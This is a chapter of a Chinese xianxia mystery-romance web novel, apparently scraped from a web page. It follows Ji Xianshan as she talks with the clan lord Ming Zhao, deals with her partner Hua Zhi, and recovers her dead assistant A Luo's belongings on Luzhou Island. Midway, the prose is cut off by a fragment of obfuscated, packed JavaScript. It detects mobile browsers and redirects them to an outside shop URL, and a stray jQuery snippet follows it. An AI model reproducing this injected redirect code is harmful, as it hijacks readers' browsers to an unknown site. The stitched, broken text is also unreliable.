夏日炎炎,又是正午。
纪娴山原本大汗淋漓,心中烦躁,遇到了明炤,突然就安定下来。
她坦然问出了心中的疑惑,仰头看他。
明炤也低头看她。
一阵风来,把她额角的碎发吹到唇边。
明炤转开头去:“自然是相信你的能力,也相信你可以做到大公无私。只要是你查出来的结果,本君百分百的信任。”
说着,他领着纪娴山往花园里去。
花园里绿树蓬蓬,阴凉静谧。
纪娴山直说:“那小仙可能要让族君你失望了。今日之我,已不是您期望中的我。”
当年的她,名满天下,确实是真正的明察秋毫,且铁面无私。
但,人是会变的。
明炤双手扶在鱼塘的栏杆上,侧头看她:“你的意思是,你变了,没有以前那般好了?”
明炤看着她的眼睛,眼神中带着温柔的笑。
被他这么看着,如同直视太阳,纪娴山移开眼神,望着池子里的游鱼:“还请族君不要对我有不切实际的期待。”
一阵沉默。
明炤收回自己的目光,仰头看着头顶渗进来的丝丝缕缕的金线,嘴角带笑:“本君见过许多人,有的人品行端正,有的人多行诡诈。一个人面对危险、诱惑、恐惧时的选择,决定了她的品行,因此可以说,品行便是一个人的底色。人的底色并不是轻易能够改变的。如果能够轻易改变,那就说明并不是她的底色,只是她的矫饰。”
明炤说完,低头看着她的头顶。
头顶的乌发之下,是她翘起的睫毛,不安地眨动着。
·
傍晚,纪娴山斜躺在床上,眼睛盯着阿洛的资料,脑子里却不由自主泛起明炤说的那些话。
他信她。
纪娴山叹一口气,翻个身,从床底下把那颗真梦茧找出来。
吹掉茧上的灰尘,冷冽的银白色在空气中弥漫。
如果她能从真梦茧中走出来,自然就能变回曾经那个嫉恶如仇的自己,就能为信任她的明炤而出力。
可是,她暂时还不想。
她什么也不想做,只想要沉浸在现在这种状态中。
盯着真梦茧许久,纪娴山挥手,想要再次扔掉,却最终抓在了手心里。
这时候,门外一阵紧逼的脚步声,比常人快一个节拍,明显是来找她干活的。
纪娴山赶紧闭上眼睛,将手中的真梦茧藏在胸口。
华智推开虚掩的门,房里稍微亮敞了些,床上斜躺着一个瘦长的人,和衣睡着。
他轻手轻脚走进来,站到床边,看着她手中被翻烂了的几张纸。
纪娴山佯睡中,被他盯着很不自在,只希望他赶紧走。
华智看着她的脸,眉头轻轻皱着,似乎梦里也不踏实。哎,今天不该对她说重话的。
那些话,他说完就后悔了。
这六十年她该多难受啊,她能扛过来都不错了,他竟然还说她不对。
他下定决心,以后一定要慢慢来。
佯睡的纪娴山相当不自在,只希望他赶紧走。
华智不走,从她手中抽出资料,再给她拉过薄被盖在肚子上。
纪娴山假意翻个身,推开他给盖的被子,顺便背对着他。
华智拉起被子,盖在她腰上。
然后,坐在了旁边凳子上,摸了摸纸包,快凉了,于是放在胸口,坐了好一会,才叫醒她。
纪娴山早憋得受不了了,干脆就坡下驴,假装刚睡醒,揉了下眼睛。
华智看她揉眼睛,忍不住笑起来。
纪娴山眯眼看着他:“有什么事找我?”
有事说事,快点说完,快点清净。
她不是很耐烦。
对于她这种情绪,华智倒是适应良好,他说:“你还没吃晚饭吧。”
“不用你管。”
华智从胸前掏出一个纸包来,里面是还温热的肉包子,泛着香气。
这么好?纪娴山不自觉往后靠,拉开两人距离。
华智把包子递到她面前。
纪娴山说:“只是个包子,不许谈条件。”
她真是被无极真仙搞怕了。
华智哭笑不得:“一个包子能谈什么条件?”
纪娴山这才伸手接过包子。她确实有些饿。
她撕开包子,给一半华智。
华智接过,两人便沉默地吃起来。
纪娴山有些自责。
她防人之心表现得太明显,会不会有些伤人?以后还是要对他好点?
这时候,华智三两口吃完了:“我已经联系了师父,请他老人家再做个真梦茧。”
纪娴山皱眉盯着他,把包子扔给他。
·
晚上,无极真仙通过传音石联系上华智,问他进展如何。
华智诚实说了现状,不过对纪娴山的状态美化了一些:“纪仙子今日也去泥坑查找线索了。”
无极真仙嗤之以鼻:“你不用替她说好话。她不过就是一切朝着利益。老仙我不用看都知道,她不会尽心做事。任性至极!”
华智也很无奈。
无极真仙叮嘱他:“所谓近朱者赤近墨者黑,这破案的二十多天,你可别和她走太近了。”
·
第二日早晨,纪娴山早起。
天还没亮,她蹑手蹑脚出门,怕吵醒隔壁的华智。
隔壁的华智正好出门,看到她,脸上满是惊喜的笑容:“你要和我一起破案?”
纪娴山抖了抖肩膀上的包袱:“你别误会,我有自己的事。”
华智的笑脸垮下来,他“哦”一声,没有抱怨,只说自己今日打算去找姬老五的左邻右舍,确认明炤说的话是真是假。
虽然她很清楚,自己不欠他们什么,但还是莫名还是有些愧疚。
纪娴山摸摸后脖子:“你自己决定吧,我先走了。”
“你要去鹿州岛?”华智喊住她。
纪娴以为他要阻止自己。
没想到,华智嘱咐她:“鹿州岛常年大雪。”
华智说的没错,鹿州岛一片大雪,雪深到膝盖,遥遥望去,大片的雪地上,只有几户稀稀拉拉散落着。
纪娴山抓紧身上的貂毛大氅,抬头看正午的天空,阴阴郁郁,又开始飘小雪。
口中吐出的热气在冷风中快速飘散。
她拿着华智的令牌,冒充司法天神,找了几个管事的问情况。
这管事的一听说此事,都有些心慌。前几日就有司法天兵来打听过一回,显然兹事体大。
几个管事的立刻把几个相关人等叫来,包括给阿洛临终看病的大夫,以及给她收尸的人。
阿洛确实是五十年前去世的,在一个寒夜里冻死的。
她本来就有宿疾,气血很差,当年的冤案中,她受了重刑,根本抵不住这苦寒之地的日夜折磨。
再加上她没什么灵石,更不可能将自己照顾得很好。
苦撑十年,已是极限。大夫如是说。
纪娴山沉默着,接过收尸人递过来的一个小盒子,盒子里有她的遗物。
盒子里有两样东西。
一样是玉环,这玉环雕刻的是一条首尾衔接的小蛇;
另一样,便是一块竹简,竹简下面打着红络子,正面只有一个字:耐。
捏着竹简,纪娴山的眼泪滑下来。
她还记得当初,阿洛受不了日以继夜的奔走忙碌,和她吵架了,嚷嚷着要走,最后又回来,叹气说,自己终究是忍耐下来了。
于是,纪娴山给她刻了这个竹简,请她以后多多忍耐,只要有口肉吃,少不了她的。
结果呢?
纪娴山紧紧抓住那竹简,心中只有无能至极的自我厌恶感。
收尸人说,这个盒子一直放在阿洛的床头,阿洛去世下葬后,便只有这个盒子还给留着,等认领。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13125809|138336||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>按照规定,即使是去世的仙籍,也要留有遗物,等认领。如果超过一百年都无人认领,便会被丢弃。
纪娴山被关押在七灼峰,没法联系阿洛,更加没法给阿洛做担保,所以请人帮忙代劳,帮忙来看看她。
请的那个人便是仙界传旨的小仙官。
纪娴山抹掉眼泪:“曾有人来看过阿洛吗?”
几个管事,包括大夫,都摇摇头,说没有看过有其他外人来照看她,一直都是独来独往。
纪娴山眉心的火气愈发暴烈。
来回鹿州岛的路途遥远,御剑飞行的真气损耗不少,但她一刻也不想耽搁,直接回妖界阂郡,找华智。
·
纪娴山回到阂郡,已是第二日的清晨。
华智一宿没睡,他在厢房里,点了一盏灯,坐在桌前,翻看这两日收集的线索,并且做整理。
纪娴山从外面闯进来,身上披着厚貂毛的大氅,苍白的脸上的杀气腾腾:“我要找到当年那个传旨的仙官,你有权限么?”
这本来就是答应好了的,华智二话没说,直接联系了同僚,查到当年那个仙官的名号以及安排。
巧得很,这仙官被派出去处理一个机密的事,无人知道他的行踪。正好就是前两日安排的。
有猫腻。
纪娴山深吸一口气,眼睛眯起来,就像是即将狩猎的猫。
华智问她:“如果真是他说谎了,你要怎么办?”
纪娴山看着他许久,牙缝里蹦出四个字来:“血债血偿。”
如果不是因为这个人骗她,她不会安于现状,更不会放任阿洛就这样死去。
华智提醒她:“你这样查很慢。”
“怎样快一些?”纪娴山靠近他。
华智向后靠,拉开距离:“鲜有人知道,我师父云渺真人的真梦茧,就是从大千世界获取的真实碎片。因此,你若是想要知道真相,我现在再联系师父,给你做一个——”
华智一转头,纪娴山已经转身出门。
华智赶忙追出去。
他正好看到,走廊上的纪娴山冲撞到明炤身上。
明炤伸手,捏住纪娴山的两边肩膀,伸手去替她解开脖子上的大氅。
他的指节按在她脖颈的绳结上时,她轻轻推开了他的手,后退一步,自己解开,挂在了胳膊上,与他道歉。
她太冒失了。
明炤倒是觉得无所谓:“你脸色很差,头上是冷汗么?”
纪娴山用袖子抹掉额头上一圈的冷汗:“小事。族君来这里是有事要说?”
真气耗散太快,就会这样。
明炤笑着说,傍晚有设宴,要将他妹妹介绍给她认识。
纪娴山原本踏出一只脚,想要溜回自己房里,听到这句话,不禁愣住,回头看着他。
明炤低头,抿了抿嘴唇:“其实,是我妹妹,她对你们的公务十分好奇,想要了解。我作为哥哥的,便借着自己的便宜满足她的心愿。”
明炤抬头看着她:“不知纪姑娘和华智仙君是否愿意。”
华智站在门口,想也没想,爽快答应了。
纪娴山却看着明炤愣了好一会,才答应。
她也想见一下明炤的那位妹妹。
纪娴山皱着眉头目送明炤离去,久久不动。
华智问她在想什么。
纪娴山摇摇头,无力地靠在门上。
明炤的妹妹,是六十年前那桩案件的受害人。唯一幸运的是逃脱了,但扛不住伤害带来的阴影,疯了。
或许是考虑到妹妹的声誉,当年,明炤拒不承认受到侵害的是妹妹。
那时,纪娴山到妖界求见明炤,以调查案件,三次都被拒之门外,连明炤的面都没见着。
后来因为证据丢失,此案慢慢地被搁置了。
可是,一个疯了的人,怎么会对别人的生活感兴趣呢?
纪娴山努力从脑海中搜寻当年的记忆,百思不得其解。